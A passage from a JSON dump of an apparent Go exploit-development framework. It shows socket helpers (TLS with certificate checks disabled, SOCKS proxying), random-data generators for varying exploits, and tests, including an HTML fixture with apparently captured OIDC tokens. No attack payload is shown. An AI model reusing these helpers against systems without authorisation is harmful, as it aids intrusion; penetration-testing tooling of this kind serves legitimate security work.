tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "protocol/sip/user-agent.txt",
    "content": "Jitsi2.10.5550Mac OS X\n"
  },
  {
    "path": "protocol/tcpsocket.go",
    "content": "package protocol\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n\n\t\"golang.org/x/net/proxy\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// Connections to the remote target with or without encryption depending on the ssl bool.\nfunc MixedConnect(host string, port int, ssl bool) (net.Conn, bool) {\n\tif ssl {\n\t\treturn TLSConnect(host, port)\n\t}\n\n\treturn TCPConnect(host, port)\n}\n\n// Connects to the remote target with encryption.\nfunc TLSConnect(host string, port int) (net.Conn, bool) {\n\tconn, ok := TCPConnect(host, port)\n\tif !ok {\n\t\treturn nil, false\n\t}\n\n\treturn tls.Client(conn, &tls.Config{InsecureSkipVerify: true}), true\n}\n\n// Connects to a remote target without encryption.\nfunc TCPConnect(host string, port int) (net.Conn, bool) {\n\ttarget := fmt.Sprintf(\"%s:%d\", host, port)\n\n\t// do we need to use a proxy?\n\tenvProxy := os.Getenv(\"ALL_PROXY\")\n\tif strings.HasPrefix(envProxy, \"socks5://\") {\n\t\tdialer, err := proxy.SOCKS5(\"tcp\", envProxy[len(\"socks5://\"):], nil, proxy.Direct)\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"SOCKS5 error: %s\", err.Error())\n\n\t\t\treturn nil, false\n\t\t}\n\n\t\t// timeout long hanging connections\n\t\tperHost := proxy.NewPerHost(dialer, proxy.Direct)\n\t\tctx, cancel := context.WithTimeout(context.Background(), time.Duration(GlobalCommTimeout)*time.Second)\n\t\tdefer cancel()\n\t\tconn, err := perHost.DialContext(ctx, \"tcp\", target)\n\t\tif err != nil {\n\t\t\toutput.PrintfFrameworkError(\"Connection failed: %s\", err.Error())\n\n\t\t\treturn nil, false\n\t\t}\n\n\t\treturn conn, true\n\t}\n\n\t// no proxy involved\n\tconn, err := net.DialTimeout(\"tcp\", target, time.Duration(GlobalCommTimeout)*time.Second)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Connection failed: \" + err.Error())\n\n\t\treturn nil, false\n\t}\n\n\treturn conn, true\n}\n\n// Write data to a TCP connection.\nfunc TCPWrite(conn net.Conn, data []byte) bool {\n\twritten, err := conn.Write(data)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Server write failed: \" + err.Error())\n\n\t\treturn false\n\t}\n\tif written != len(data) {\n\t\toutput.PrintFrameworkError(\"Failed to write all data\")\n\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// Read a set amount of data from a TCP connection.\nfunc TCPReadAmount(conn net.Conn, amount int) ([]byte, bool) {\n\treply := make([]byte, amount)\n\ttotalRead := 0\n\n\t// keep reading until we hit the desired amount (or an error occurs)\n\tfor totalRead < amount {\n\t\tcount, err := conn.Read(reply[totalRead:])\n\t\tif err != nil {\n\t\t\toutput.PrintFrameworkError(\"Failed to read from the socket: \" + err.Error())\n\n\t\t\treturn nil, false\n\t\t}\n\t\tif count == 0 {\n\t\t\toutput.PrintFrameworkError(\"Connection closed.\")\n\n\t\t\treturn nil, false\n\t\t}\n\t\ttotalRead += count\n\t}\n\n\treturn reply, true\n}\n\n// Read an amount and dont log errors if we fail to read from the socket.\nfunc TCPReadAmountBlind(conn net.Conn, amount int) ([]byte, bool) {\n\treply := make([]byte, amount)\n\ttotalRead := 0\n\n\t// keep reading until we hit the desired amount (or an error occurs)\n\tfor totalRead < amount {\n\t\tcount, err := conn.Read(reply[totalRead:])\n\t\tif err != nil {\n\t\t\treturn nil, false\n\t\t}\n\t\tif count == 0 {\n\t\t\treturn nil, false\n\t\t}\n\t\ttotalRead += count\n\t}\n\n\treturn reply, true\n}\n"
  },
  {
    "path": "protocol/udpsocket.go",
    "content": "package protocol\n\nimport (\n\t\"net\"\n\t\"strconv\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// Dial to a UDP network socket with resolution.\nfunc UDPConnect(host string, port int) (*net.UDPConn, bool) {\n\ttarget := host + \":\" + strconv.Itoa(port)\n\toutput.PrintfFrameworkStatus(\"Connecting to %s\", target)\n\tudpAddr, err := net.ResolveUDPAddr(\"udp\", target)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"ResolveUDPAddr failed: \" + err.Error())\n\n\t\treturn nil, false\n\t}\n\n\tconn, err := net.DialUDP(\"udp\", nil, udpAddr)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Connection failed: \" + err.Error())\n\n\t\treturn nil, false\n\t}\n\n\treturn conn, true\n}\n\n// Write data to a UDP connection.\nfunc UDPWrite(conn *net.UDPConn, data []byte) bool {\n\twritten, err := conn.Write(data)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Server write failed: \" + err.Error())\n\n\t\treturn false\n\t}\n\tif written != len(data) {\n\t\toutput.PrintFrameworkError(\"Failed to write all data\")\n\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// Read data from a UDP socket.\nfunc UDPReadAmount(conn *net.UDPConn, amount int) ([]byte, bool) {\n\treply := make([]byte, amount)\n\tcount, err := conn.Read(reply)\n\tif err != nil {\n\t\toutput.PrintFrameworkError(\"Failed to read from the socket: \" + err.Error())\n\n\t\treturn nil, false\n\t}\n\tif count != amount {\n\t\toutput.PrintFrameworkError(\"Failed to read specified amount from the socket\")\n\n\t\treturn nil, false\n\t}\n\n\treturn reply, true\n}\n"
  },
  {
    "path": "random/random.go",
    "content": "// Code for generating random data and helpers for common patterns for adding variableness to exploits.\npackage random\n\nimport (\n\t\"crypto/rand\"\n\t\"math/big\"\n\t\"net\"\n\t\"strings\"\n\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\nvar (\n\tletters = []rune(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\")\n\thex     = []rune(\"0123456789abcdef\")\n\tdigits  = []rune(\"0123456789\")\n)\n\n// RandIntRange generates an `int` between [min,max).\nfunc RandIntRange(rangeMin int, rangeMax int) int {\n\trangeMaxBig := big.NewInt(int64(rangeMax) - int64(rangeMin))\n\tn, err := rand.Int(rand.Reader, rangeMaxBig)\n\tif err != nil {\n\t\t// if random fails the process will die anyway: https://github.com/golang/go/issues/66821\n\t\toutput.PrintfFrameworkError(\"Random generation error: %s\", err.Error())\n\n\t\treturn 0\n\t}\n\n\treturn int(n.Int64() + int64(rangeMin))\n}\n\n// RandPositiveInt generates a non-negative crypto-random number in the half-open interval [0,max).\nfunc RandPositiveInt(rangeMax int) int {\n\tn, err := rand.Int(rand.Reader, big.NewInt(int64(rangeMax)))\n\tif err != nil {\n\t\t// if random fails the process will die anyway: https://github.com/golang/go/issues/66821\n\t\toutput.PrintfFrameworkError(\"Random generation error: %s\", err.Error())\n\n\t\treturn 0\n\t}\n\n\treturn int(n.Int64())\n}\n\n// RandLetters generates a random alpha string of length n.\nfunc RandLetters(n int) string {\n\truneSlice := make([]rune, n)\n\tfor i := range runeSlice {\n\t\truneSlice[i] = letters[RandPositiveInt(len(letters))]\n\t}\n\n\treturn string(runeSlice)\n}\n\n// RandLettersNoBadChars generates a random alpha string with no bad chars of length n.\n// This will return an empty string if the caller badchars all \"letters\".\nfunc RandLettersNoBadChars(n int, badchars []rune) string {\n\t// rebuild the letters slice without the bad chars. O(n^2) implementation\n\t// not really sure it is worthwhile to get more fancy :shrug:\n\tvar nobad []rune\n\tfor _, letter := range letters {\n\t\tfound := false\n\t\tfor _, char := range badchars {\n\t\t\tif char == letter {\n\t\t\t\tfound = true\n\t\t\t}\n\t\t}\n\t\tif !found {\n\t\t\tnobad = append(nobad, letter)\n\t\t}\n\t}\n\n\tif len(nobad) == 0 {\n\t\treturn \"\"\n\t}\n\n\truneSlice := make([]rune, n)\n\tfor i := range runeSlice {\n\t\truneSlice[i] = nobad[RandPositiveInt(len(nobad))]\n\t}\n\n\treturn string(runeSlice)\n}\n\n// RandLettersRange generates a random alpha string of length [min,max).\nfunc RandLettersRange(rangeMin int, rangeMax int) string {\n\treturn RandLetters(RandIntRange(rangeMin, rangeMax-1))\n}\n\n// RandMAC generates a random MAC address and returns it.\nfunc RandMAC() string {\n\tparts := []string{}\n\tfor range 6 {\n\t\tparts = append(parts, RandHex(2))\n\t}\n\n\treturn strings.Join(parts, \":\")\n}\n\n// Generate a string of random hex characters of length n.\nfunc RandHex(n int) string {\n\truneSlice := make([]rune, n)\n\tfor i := range runeSlice {\n\t\truneSlice[i] = hex[RandPositiveInt(len(hex))]\n\t}\n\n\treturn string(runeSlice)\n}\n\n// RandHexRange generates a random hex string of length [min,max).\nfunc RandHexRange(rangeMin int, rangeMax int) string {\n\treturn RandHex(RandIntRange(rangeMin, rangeMax-1))\n}\n\n// Generate a string of random digits.\nfunc RandDigits(n int) string {\n\truneSlice := make([]rune, n)\n\tfor i := range runeSlice {\n\t\truneSlice[i] = digits[RandPositiveInt(len(digits))]\n\t}\n\n\t// keep assigning a new digit until the first one isn't 0'\n\tif len(runeSlice) > 0 {\n\t\tfor runeSlice[0] == '0' {\n\t\t\truneSlice[0] = digits[RandPositiveInt(len(digits))]\n\t\t}\n\t}\n\n\treturn string(runeSlice)\n}\n\n// RandDigitsRange generates a random numeric string of length [min,max).\nfunc RandDigitsRange(rangeMin int, rangeMax int) string {\n\treturn RandDigits(RandIntRange(rangeMin, rangeMax))\n}\n\n// RandDomain generates a random domain name with a common TLDs. The domain will be between 8 and 14 characters.\nfunc RandDomain() string {\n\treturn strings.ToLower(RandLettersRange(4, 10) + \".\" + CommonTLDs[RandPositiveInt(len(CommonTLDs))])\n}\n\n// RandEmail generates a random email address using common domain TLDs. The largest size of the\n// generated domain will be 23 characters and smallest will be 13 characters. The goal is not to\n// generate a set of RFC valid domains, but simple lower case emails that are valid for most\n// automated account registration or usage, so these might be \"too simple\" or for some uses.\nfunc RandEmail() string {\n\treturn strings.ToLower(RandLettersRange(4, 8) + \"@\" + RandDomain())\n}\n\n// CommonTLDs contains the 3 most common DNS TLDs.\nvar CommonTLDs = []string{\n\t\"com\",\n\t\"org\",\n\t\"net\",\n}\n\n// RandIPv4 generates a random IPv4 address.\nfunc RandIPv4() net.IP {\n\treturn net.IPv4(\n\t\tbyte(RandIntRange(1, 256)),\n\t\tbyte(RandIntRange(1, 256)),\n\t\tbyte(RandIntRange(1, 256)),\n\t\tbyte(RandIntRange(1, 256)),\n\t)\n}\n\n// RandIPv4Private Generates a random private IPv4 address.\nfunc RandIPv4Private() net.IP {\n\tn, _ := rand.Int(rand.Reader, big.NewInt(3))\n\tswitch n.Int64() {\n\tcase 0:\n\t\treturn net.IPv4(\n\t\t\t10,\n\t\t\tbyte(RandIntRange(1, 256)),\n\t\t\tbyte(RandIntRange(1, 256)),\n\t\t\tbyte(RandIntRange(1, 256)),\n\t\t)\n\tcase 1:\n\t\treturn net.IPv4(\n\t\t\t172,\n\t\t\tbyte(RandIntRange(16, 32)),\n\t\t\tbyte(RandIntRange(1, 256)),\n\t\t\tbyte(RandIntRange(1, 256)),\n\t\t)\n\tdefault:\n\t\treturn net.IPv4(\n\t\t\t192,\n\t\t\t168,\n\t\t\tbyte(RandIntRange(1, 256)),\n\t\t\tbyte(RandIntRange(1, 256)),\n\t\t)\n\t}\n}\n\n// RandomIPv4Loopback generates IPv4 Loopback address.\nfunc RandIPv4Loopback() net.IP {\n\treturn net.IPv4(\n\t\t127,\n\t\tbyte(RandIntRange(1, 256)),\n\t\tbyte(RandIntRange(1, 256)),\n\t\tbyte(RandIntRange(1, 256)),\n\t)\n}\n\n// RandIPv6 generates a random IPv6 address.\nfunc RandIPv6() net.IP {\n\tip := make(net.IP, net.IPv6len)\n\tfor i := range net.IPv6len {\n\t\tip[i] = byte(RandIntRange(1, 256))\n\t}\n\n\treturn ip\n}\n"
  },
  {
    "path": "random/random_test.go",
    "content": "package random\n\nimport (\n\t\"net\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc Test_RandPositiveInt(t *testing.T) {\n\tinteger := RandPositiveInt(10)\n\tif integer > 10 {\n\t\tt.Error(\"Integer larger than 10\")\n\t}\n\tif integer < 0 {\n\t\tt.Error(\"Positive integer less than 0\")\n\t}\n}\n\nfunc Test_RandIntRange(t *testing.T) {\n\tinteger := RandIntRange(-2, 10)\n\tif integer > 10 {\n\t\tt.Error(\"Integer larger than 10\")\n\t}\n\tif integer < -2 {\n\t\tt.Error(\"Integer less than -2\")\n\t}\n}\n\nfunc Test_RandLetters(t *testing.T) {\n\tletters := RandLetters(8)\n\tif len(letters) != 8 {\n\t\tt.Error(\"Failed to generate an 8 char string\")\n\t}\n\n\tletters = RandLetters(1)\n\tif len(letters) != 1 {\n\t\tt.Error(\"Failed to generate a 1 char string\")\n\t}\n\n\tletters = RandLetters(0)\n\tif len(letters) != 0 {\n\t\tt.Error(\"Failed to generate a 0 char string\")\n\t}\n\n\tletters = RandLetters(64)\n\tif len(letters) != 64 {\n\t\tt.Error(\"Failed to generate a 64 char string\")\n\t}\n\n\tfor _, value := range letters {\n\t\tif (int(value) < 65 || int(value) > 90) && (int(value) < 97 || int(value) > 122) {\n\t\t\tt.Error(\"RandLetters used value outside of ascii letter ranges.\")\n\t\t}\n\t}\n}\n\nfunc Test_RandLettersNoBadChars(t *testing.T) {\n\t// loop 100 times generating random letter strings and ensure\n\t// they don't contain a bad value.\n\tfor range 100 {\n\t\tletters := RandLettersNoBadChars(12, []rune(\"abcd\"))\n\t\tif len(letters) == 0 {\n\t\t\tt.Error(\"RandLettersNoBadChars created an empty string\")\n\t\t}\n\t\tfor _, value := range letters {\n\t\t\tif value == 'a' || value == 'b' || value == 'c' || value == 'd' {\n\t\t\t\tt.Error(\"Created a string with a badchar: \" + letters)\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc Test_RandDigits(t *testing.T) {\n\tdigits := RandDigits(8)\n\tif len(digits) != 8 {\n\t\tt.Error(\"Failed to generate an 8 char string\")\n\t}\n\n\tif digits[0] == '0' {\n\t\tt.Error(\"Created a digit string that starts with zero\")\n\t}\n\n\tfor _, value := range digits {\n\t\tif int(value) < 48 || int(value) > 57 {\n\t\t\tt.Error(\"RandDigits used value outside of ascii digit ranges.\")\n\t\t}\n\t}\n}\n\nfunc Test_RandHex(t *testing.T) {\n\thex := RandHex(8)\n\tif len(hex) != 8 {\n\t\tt.Error(\"Failed to generate an 8 char string\")\n\t}\n\n\tfor _, value := range hex {\n\t\tif (int(value) < 48 || int(value) > 57) && (int(value) < 97 || int(value) > 102) {\n\t\t\tt.Error(\"RandHex used value outside of ascii hex ranges: \" + string(value))\n\t\t}\n\t}\n}\n\nfunc Test_RandLettersRange(t *testing.T) {\n\tletters := RandLettersRange(2, 10)\n\tif len(letters) < 2 || len(letters) >= 10 {\n\t\tt.Error(\"Created a string outside of the [2,10) range\")\n\t}\n\n\tfor _, value := range letters {\n\t\tif (int(value) < 65 || int(value) > 90) && (int(value) < 97 || int(value) > 122) {\n\t\t\tt.Error(\"RandLettersRange used value outside of ascii letter ranges.\")\n\t\t}\n\t}\n}\n\nfunc Test_RandHexRange(t *testing.T) {\n\thex := RandHexRange(2, 10)\n\tif len(hex) < 2 || len(hex) >= 10 {\n\t\tt.Error(\"Created a string outside of the [2,10) range\")\n\t}\n\n\tfor _, value := range hex {\n\t\tif (int(value) < 48 || int(value) > 57) && (int(value) < 97 || int(value) > 102) {\n\t\t\tt.Error(\"RandHex used value outside of ascii hex ranges: \" + string(value))\n\t\t}\n\t}\n}\n\nfunc Test_RandDigitsRange(t *testing.T) {\n\tdigits := RandDigitsRange(2, 10)\n\tif len(digits) < 2 || len(digits) >= 10 {\n\t\tt.Error(\"Created a string outside of the [2,10) range\")\n\t}\n\n\tif digits[0] == '0' {\n\t\tt.Error(\"Created a digit string that starts with zero\")\n\t}\n\n\tfor _, value := range digits {\n\t\tif int(value) < 48 || int(value) > 57 {\n\t\t\tt.Error(\"RandDigits used value outside of ascii digit ranges.\")\n\t\t}\n\t}\n}\n\nfunc Test_RandDomain(t *testing.T) {\n\tfor range 100 {\n\t\tr := RandDomain()\n\t\tif len(r) > 14 || len(r) < 8 {\n\t\t\tt.Error(\"Domain generated with an unexpected length: \" + r)\n\t\t}\n\t\tif !strings.Contains(r, \".\") {\n\t\t\tt.Error(\"Domain generated without expected characters: \" + r)\n\t\t}\n\t}\n}\n\nfunc Test_RandMAC(t *testing.T) {\n\tfor range 100 {\n\t\tr := RandMAC()\n\t\tif len(r) != 17 {\n\t\t\tt.Error(\"Mac address generated with an unexpected length: \" + r)\n\t\t}\n\t\tif !strings.Contains(r, \":\") {\n\t\t\tt.Error(\"Mac address generated without expected characters: \" + r)\n\t\t}\n\t}\n}\n\nfunc Test_RandEmail(t *testing.T) {\n\tfor range 100 {\n\t\tr := RandEmail()\n\t\tif len(r) > 23 || len(r) < 13 {\n\t\t\tt.Error(\"Domain generated with an unexpected length: \" + r)\n\t\t}\n\t\tif !strings.Contains(r, \".\") {\n\t\t\tt.Error(\"Domain generated without expected characters: \" + r)\n\t\t}\n\t}\n}\n\nfunc TestRandIPv4(t *testing.T) {\n\tfor range 100 {\n\t\tr := RandIPv4()\n\t\tparsed := net.ParseIP(r.String())\n\t\tif parsed == nil {\n\t\t\tt.Error(\"Generated IP is nil: \" + r.String())\n\t\t}\n\t\tif parsed.To4() == nil {\n\t\t\tt.Error(\"Generated IP is not a valid IPv4 address: \" + r.String())\n\t\t}\n\t}\n}\n\nfunc TestRandIPv6(t *testing.T) {\n\tfor range 100 {\n\t\tr := RandIPv6()\n\t\tparsed := net.ParseIP(r.String())\n\t\tif parsed == nil {\n\t\t\tt.Error(\"Generated IP is nil: \" + r.String())\n\t\t}\n\t\tif parsed.To4() != nil {\n\t\t\tt.Error(\"Generated IP is not a valid IPv6 address: \" + r.String())\n\t\t}\n\t}\n}\n\nfunc TestRandIPv4Private(t *testing.T) {\n\tfor range 100 {\n\t\tr := RandIPv4Private()\n\t\tparsed := net.ParseIP(r.String())\n\t\tif parsed == nil {\n\t\t\tt.Error(\"Generated IP is nil: \" + r.String())\n\t\t}\n\t\tif parsed.To4() == nil {\n\t\t\tt.Error(\"Generated IP is not a valid IPv4 address: \" + r.String())\n\t\t}\n\n\t\t// Check if the IP is private\n\t\tisPrivate := r.IsPrivate()\n\n\t\tif !isPrivate {\n\t\t\tt.Error(\"Generated IP is not in a private range: \" + r.String())\n\t\t}\n\t}\n}\n\nfunc TestRandIPv4Loopback(t *testing.T) {\n\tfor range 5 {\n\t\tr := RandIPv4Loopback()\n\t\tparsed := net.ParseIP(r.String())\n\t\tif parsed == nil {\n\t\t\tt.Error(\"Generated IP is nil: \" + r.String())\n\t\t}\n\t\tif parsed.To4() == nil {\n\t\t\tt.Error(\"Generated IP is not a valid IPv4 address: \" + r.String())\n\t\t}\n\n\t\t// Check if the IP is loopback\n\t\tisLoopback := r.IsLoopback()\n\n\t\tif !isLoopback {\n\t\t\tt.Error(\"Generated IP is not the expected loopback address:\" + r.String())\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "search/search_test.go",
    "content": "package search_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/search\"\n)\n\nvar htmlTestOIDC = `<html><head><meta http-equiv='X-UA-Compatible' content='IE=edge' /><base target='_self'/></head><html><form method='post' action='https://xp0.sc/identity/signin'><input type='hidden' name='code' value='23431FCD6CA15658D8267B3A8013D2F013AA32CF38B20E59EA9C1529DFAF44FD-1' />\n<input type='hidden' name='id_token' value='eyJhbGciOiJSUzI1NiIsImtpZCI6IjI4OEI4MEQ5RDMzRDZDNkY2MDgzMjY2MENCMzdEREJCRDdGNDFFMjVSUzI1NiIsIng1dCI6IktJdUEyZE05Ykc5Z2d5Wmd5emZkdTlmMEhpVSIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL3hwMC5pZGVudGl0eXNlcnZlciIsIm5iZiI6MTc1MDcxOTYzMywiaWF0IjoxNzUwNzE5NjMzLCJleHAiOjE3NTA3MjExMzMsImF1ZCI6IlNpdGVjb3JlIiwiYW1yIjpbInB3ZCJdLCJub25jZSI6IjYzODg2MzE0ODM4NzM0MDYwMy5ZVFl3TnpFMk5UZ3RNR1V3WXkwMFl6TXpMVGcwTURZdE1tVXdZVFJqT1dJNFlUVTNZbVZoWkdNM05qSXRNamRrWVMwMFlUWmlMV0V3TXprdE1qYzJNRFU0T1dObU1UZzEiLCJhdF9oYXNoIjoiTlFnT0xERm5EQWZCYXJ3RS1hQzIzQSIsImNfaGFzaCI6IlZRdVhKZ1hsdE8zUlZYWXFWZnJ4V1EiLCJzaWQiOiJFOTU2RjYyNEFEMUNDMjVGQUY1MEM4NjNDNEEzQ0ZBQSIsInN1YiI6IjQ4MjZkOGY3NTZkNDQ1ZGM5YTE5MmE5MzVhYjA4MjQ4IiwiYXV0aF90aW1lIjoxNzUwNzE5NDkwLCJpZHAiOiJsb2NhbCJ9.QJTHf8jiXVkVY95NS_pV2dZcbFuohQyQNEIU7MM4VPxFNTN7toAoOGLCMuncGJHfHu2IA0lnj0OMK11eS-4ONiJ4Qzq08M2hP-5kv0XFiSgJeoAG-8AEEzTdO6Ag_IznEpStKmGxoq7ojrDUZrsgg5e7FSxnJiFtWinvUJrGvrjQ0XIvMMMTLgxlXlSXf3dy6t93Kge8CI3tVUKqfQ_EfTxf7CJ2dm2vcDgRxDj0qc7edIuSq9_w55Aj6o0mToNfyqlhx3q8emSfQSutGj4Hp3zHYWeoD6OhrHhn5lB1OJ4Jq8zvh_SUC5pL1mCpTL7C2crlvywQBTYCv4smaxLz1Q' />\n<input type='hidden' name='access_token' value='eyJhbGciOiJSUzI1NiIsImtpZCI6IjI4OEI4MEQ5RDMzRDZDNkY2MDgzMjY2MENCMzdEREJCRDdGNDFFMjVSUzI1NiIsIng1dCI6IktJdUEyZE05Ykc5Z2d5Wmd5emZkdTlmMEhpVSIsInR5cCI6ImF0K2p3dCJ9.eyJpc3MiOiJodHRwczovL3hwMC5pZGVudGl0eXNlcnZlciIsIm5iZiI6MTc1MDcxOTYzMywiaWF0IjoxNzUwNzE5NjMzLCJleHAiOjE3NTA3MjMyMzMsImF1ZCI6Imh0dHBzOi8veHAwLmlkZW50aXR5c2VydmVyL3Jlc291cmNlcyIsInNjb3BlIjpbIm9wZW5pZCIsInNpdGVjb3JlLnByb2ZpbGUiXSwiYW1yIjpbInB3ZCJdLCJjbGllbnRfaWQiOiJTaXRlY29yZSIsInN1YiI6IjQ4MjZkOGY3NTZkNDQ1ZGM5YTE5MmE5MzVhYjA4MjQ4IiwiYXV0aF90aW1lIjoxNzUwNzE5NDkwLCJpZHAiOiJsb2NhbCIsInNpZCI6IkU5NTZGNjI0QUQxQ0MyNUZBRjUwQzg2M0M0QTNDRkFBIiwianRpIjoiMjcxMEY1MDRBMTZBMjY1OUVDNUQzMDhDQ0RFQUM2RDgifQ.KRYVImxWFfCG482guoXBi86EuirC6g4HuqZP4mJrug0Z7fTgnXL6RuDkJ-AwR3ok9o5kDI71y5Eo7IVx50VQnhvsgeelHIF_XN1_oOrPg3wB5Aj7VWSiimHEAb1Nf5iMDzZJVMeyiRKcv-AYizR7b9dpePoQNb6xiRHClELWK5_gS1sLh28matOhvnB9aYte2ycdUxMbcwi8TaKPtrvFitp4LSmQbJXDfAAV3KId2OwJ8t6Y3LN8PxPMMjG1y1wl3fI1o-y09X9mQ-9UPnNTViyPMy9Q-TP9GzirEro6TlK2i0lkeuaFldsfVT0I-xGCrECKT0yXF4YkYESG5pY2sg' />\n<input type='hidden' name='token_type' value='Bearer' />\n<input type='hidden' name='expires_in' value='3600' />\n<input type='hidden' name='scope' value='openid sitecore.profile' />\n<input type='hidden' name='state' value='OpenIdConnect.AuthenticationProperties=POHfd7aul1EaHTEMbw6KaGMlXt3HbsjWv5zXk0cC6JXcLuCVeyp-dN8jqrWF7GM976vk64kCVEQ1hitngF-m6_qOnywZuEwq67v2Li3WLXcZA4uH8CpUAF5xhYAVKU0E0tx6Wtd6gbrT_s-oQc8-RgfZuE7uTSzS7lyjA4P3uBCIOt0kbQ3IRFBeYVUPDe2RyOzAPtghNVdFsPGXgv2SNoZj4rSX27uvCkcalg0tuRI' />\n<input type='hidden' name='session_state' value='OH1VzekymvxjsmB3e2EckAKOYVApIi5E-5KeXY4gc0U.6D0FC8F5AC27A7E35229745BB9FE1108' />\n<noscript><button>Click to continue</button></noscript></form><script>window.addEventListener('load', function(){document.forms[0].submit();});</script></html>`\n\nfunc TestCheckSemVer_Full(t *testing.T) {\n\tif !search.CheckSemVer(\"1.0.0\", \"<= 1.0.0\") {\n\t\tt.Error(\"Constraint should have passed\")\n\t}\n\tif search.CheckSemVer(\"1.0.0\", \"> 1.0.0\") {\n\t\tt.Error(\"Constraint should not have passed\")\n\t}\n}\n\nfunc TestCheckSemVer_BadVersion(t *testing.T) {\n\tif search.CheckSemVer(\"uwu\", \"<= 1.0.0\") {\n\t\tt.Error(\"Version was invalid, should not have passed\")\n\t}\n\tif search.CheckSemVer(\"1.0.0 \", \"<= 1.0.0\") {\n\t\tt.Error(\"Version was invalid, should not have passed\")\n\t}\n}\n\nfunc TestCheckSemVer_BadConstraint(t *testing.T) {\n\tif search.CheckSemVer(\"1.0.0\", \"<== 1.0.0\") {\n\t\tt.Error(\"Constraint was invalid, should not have passed\")\n\t}\n\tif search.CheckSemVer(\"1.0.0\", \"xp\") {\n\t\tt.Error(\"Constraint was invalid, should not have passed\")\n\t}\n}\n\nfunc TestXPath_Node(t *testing.T) {\n\tc, ok := search.XPath(htmlTestOIDC, `//script`)\n\tif !ok {\n\t\tt.Error(\"Could not find HTML attribute\")\n\t}\n\tif c != `window.addEventListener('load', function(){document.forms[0].submit();});` {\n\t\tt.Error(\"XPath node value did not match\")\n\t}\n}\n\nfunc TestXPath_NodeMultiple(t *testing.T) {\n\tc, ok := search.XPath(htmlTestOIDC, `//input/@value`)\n\tif !ok {\n\t\tt.Error(\"Could not find HTML attribute\")\n\t}\n\tif c != `23431FCD6CA15658D8267B3A8013D2F013AA32CF38B20E59EA9C1529DFAF44FD-1` {\n\t\tt.Error(\"XPath node value did not match\")\n\t}\n}\n\nfunc TestXPathAll_NodeMultiple(t *testing.T) {\n\tc, ok := search.XPathAll(htmlTestOIDC, `//input/@value`)\n\tif !ok {\n\t\tt.Error(\"Could not find HTML attribute\")\n\t}\n\tif len(c) != 8 {\n\t\tt.Error(\"Unexpected amount of matched nodes\")\n\t}\n}\n\nfunc TestXPath_Attributes(t *testing.T) {\n\tvar c string\n\tvar ok bool\n\tc, ok = search.XPath(htmlTestOIDC, `//input[@name=\"code\"]/@value`)\n\tif !ok {\n\t\tt.Error(\"Could not find HTML attribute\")\n\t}\n\tif c != `23431FCD6CA15658D8267B3A8013D2F013AA32CF38B20E59EA9C1529DFAF44FD-1` {\n\t\tt.Error(\"XPath `code` did not match\")\n\t}\n\tc, ok = search.XPath(htmlTestOIDC, `//input[@name=\"id_token\"]/@value`)\n\tif !ok {\n\t\tt.Error(\"Could not find HTML attribute\")\n\t}\n\tif c != `eyJhbGciOiJSUzI1NiIsImtpZCI6IjI4OEI4MEQ5RDMzRDZDNkY2MDgzMjY2MENCMzdEREJCRDdGNDFFMjVSUzI1NiIsIng1dCI6IktJdUEyZE05Ykc5Z2d5Wmd5emZkdTlmMEhpVSIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJodHRwczovL3hwMC5pZGVudGl0eXNlcnZlciIsIm5iZiI6MTc1MDcxOTYzMywiaWF0IjoxNzUwNzE5NjMzLCJleHAiOjE3NTA3MjExMzMsImF1ZCI6IlNpdGVjb3JlIiwiYW1yIjpbInB3ZCJdLCJub25jZSI6IjYzODg2MzE0ODM4NzM0MDYwMy5ZVFl3TnpFMk5UZ3RNR1V3WXkwMFl6TXpMVGcwTURZdE1tVXdZVFJqT1dJNFlUVTNZbVZoWkdNM05qSXRNamRrWVMwMFlUWmlMV0V3TXprdE1qYzJNRFU0T1dObU1UZzEiLCJhdF9oYXNoIjoiTlFnT0xERm5EQWZCYXJ3RS1hQzIzQSIsImNfaGFzaCI6IlZRdVhKZ1hsdE8zUlZYWXFWZnJ4V1EiLCJzaWQiOiJFOTU2RjYyNEFEMUNDMjVGQUY1MEM4NjNDNEEzQ0ZBQSIsInN1YiI6IjQ4MjZkOGY3NTZkNDQ1ZGM5YTE5MmE5MzVhYjA4MjQ4IiwiYXV0aF90aW1lIjoxNzUwNzE5NDkwLCJpZHAiOiJsb2NhbCJ9.QJTHf8jiXVkVY95NS_pV2dZcbFuohQyQNEIU7MM4VPxFNTN7toAoOGLCMuncGJHfHu2IA0lnj0OMK11eS-4ONiJ4Qzq08M2hP-5kv0XFiSgJeoAG-8AEEzTdO6Ag_IznEpStKmGxoq7ojrDUZrsgg5e7FSxnJiFtWinvUJrGvrjQ0XIvMMMTLgxlXlSXf3dy6t93Kge8CI3tVUKqfQ_EfTxf7CJ2dm2vcDgRxDj0qc7edIuSq9_w55Aj6o0mToNfyqlhx3q8emSfQSutGj4Hp3zHYWeoD6OhrHhn5lB1OJ4Jq8zvh_SUC5pL1mCpTL7C2crlvywQBTYCv4smaxLz1Q` {\n\t\tt.Error(\"XPath `id_token` did not match\")\n\t}\n\tc, ok = search.XPath(htmlTestOIDC, `//input[@name=\"access_token\"]/@value`)\n\tif !ok {\n\t\tt.Error(\"Could not find HTML attribute\")\n\t}\n\tif c != 